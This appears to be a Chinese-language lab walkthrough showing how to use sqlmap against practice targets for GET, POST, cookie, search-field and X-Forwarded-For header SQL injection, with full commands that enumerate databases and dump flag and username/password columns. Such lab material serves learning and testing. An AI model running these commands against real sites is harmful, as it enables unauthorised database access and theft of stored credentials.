天天看点

Sqlmap

Sqlmap

1、Sqlmap对get请求数字型、字符型注入## 标题

2、sqlmap对Get请求注入

对http://www.whalwl.host:8001/bug/sql_injection/sql_num.php进行get注入

命令

python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” --dbs

Sqlmap

查询dwvs库表名

命令:

python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” -D dwvs --tables
           
Sqlmap

查dwvs库中flag表的字段名

命令:

python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” -D dwvs -T flag --columns
           
Sqlmap

显示flag表中flag字段

命令:

python sqlmap.py -u ”http://www.whalwl.host:8001/bug/sql_injection/sql_num.php?id=1&submit=submit” -D dwvs -T flag -C flag --dump
           
Sqlmap

Sqlmap对post请求注入

首先用burp进行抓包

Sqlmap

将报文复制粘贴在1.txt 将1.txt放入

Sqlmap

命令:

python sqlmap.py -r 1.txt
           
Sqlmap

查库

命令:

python sqlmap.py -r 1.txt --dbs
           
Sqlmap

查test库中表名

命令:

python sqlmap.py -r 1.txt -D test --tables
           
Sqlmap

查wan表中字段

命令:

Python sqlmap.py -r 1.txt -D test -T wan --columns
           
Sqlmap

显示字段

命令:

Python sqlmap.py -r 1.txt -D test -T wan -C username,password --dump
           
Sqlmap

2、对此网站进行sqlmap cookie注入

http://www.whalwl.host:8009/user.php?id=1

命令:

Python sqlmap.py -u “http://www.whalwl.host:8009/user.php?” --cookie “id=1” --level 2 --tables
           
Sqlmap

查this_flag字段

命令:

python sqlmap.py -u "http://www.whalwl.host:8009/user.php?" --cookie "id=1"  --level 2 -T this_flag --columns
           
Sqlmap

查看flag值

命令:

python sqlmap.py -u "http://www.whalwl.host:8009/user.php?" --cookie "id=1"  --level 2 -T this_flag -C flag --dump
           
Sqlmap

3、Sqlmap搜索型注入

http://www.whalwl.host:8002/search.php

查数据库

命令:

python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" --dbs
           
Sqlmap

查dwvs库表名

命令:

python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" -D dwvs --tables
           
Sqlmap

查flag字段

命令:

python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" -D dwvs -T flag --columns
           
Sqlmap

flag值

命令:

python sqlmap.py -u "http://www.whalwl.host:8002/search.php?search=21" -D dwvs -T flag -C flag --dump
           
Sqlmap

4、X-Forwarded-For注入 手工注入和sqlmap注入

1、Sqlmap注入

Burp抓包

并添加

X-Forwarded-for: 8.8.8.8*

Sqlmap

复制粘贴至1.TXT

Sqlmap

命令:

python sqlmap.py -r 1.txt --dbs
           
Sqlmap

命令:

python sqlmap.py -r 1.txt -D xff --tables
           
Sqlmap

命令:

python sqlmap.py -r 1.txt -D xff -T this_flag --columns
           
Sqlmap

命令:

python sqlmap.py -r 1.txt -D xff -T this_flag -C flag --dump
           
Sqlmap

2、手工注入

链接:

https://blog.csdn.net/mutou990/article/details/107761999